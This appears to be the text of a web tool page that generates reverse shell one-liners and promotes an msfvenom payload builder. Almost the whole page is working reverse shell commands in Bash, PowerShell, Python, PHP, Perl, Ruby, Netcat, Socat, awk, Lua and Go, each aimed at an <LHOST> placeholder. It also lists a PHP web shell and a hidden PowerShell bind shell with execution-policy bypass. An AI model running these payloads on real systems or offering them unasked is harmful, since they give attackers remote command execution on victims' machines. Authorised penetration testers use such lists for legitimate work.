Bash -i TCP
recommended
bash -i >& /dev/tcp/<LHOST>/4444 0>&1Tool
Generate reverse shell one-liners for Bash, Python, PHP, PowerShell, Netcat, and more — plus a full msfvenom payload builder with platform, arch, format, and encoding options.
Bash
bash -i >& /dev/tcp/<LHOST>/4444 0>&1echo 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1' | bashbash -c 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1'PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"$c=New-Object net.sockets.tcpclient('<LHOST>',4444);$st=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$st.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb=$sb+'PS '+(pwd).Path+'> ';$sb=(New-Object Text.ASCIIEncoding).GetBytes($sb);$st.Write($sb,0,$sb.Length);$st.Flush()};$c.Close()powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]{port}; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'PHP
php -r "system(\"bash -c 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1'\");"php -r '$sock=fsockopen("<LHOST>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'<?php system($_GET['cmd']); ?>Perl
perl -e 'use Socket;$i="<LHOST>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Ruby
ruby -rsocket -e'f=TCPSocket.open("<LHOST>",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'ruby -rsocket -e 'c=TCPSocket.new("<LHOST>","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'Netcat
nc -e /bin/sh <LHOST> 4444nc -e /bin/bash <LHOST> 4444rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> 4444 >/tmp/fncat -e /bin/sh <LHOST> 4444Socat
socat TCP:<LHOST>:4444 EXEC:/bin/shsocat TCP:<LHOST>:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,saneOther
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <LHOST>:4444 > /tmp/s; rm /tmp/sawk 'BEGIN {s = "/inet/tcp/0/<LHOST>/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/nulllua5.1 -e 'local host, port = "<LHOST>", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status = tcp:receive() local f = io.popen(cmd) local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'echo 'package main;import("os/exec";"net");func main(){c,_:=net.Dial("tcp","<LHOST>:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/main.go && go run /tmp/main.go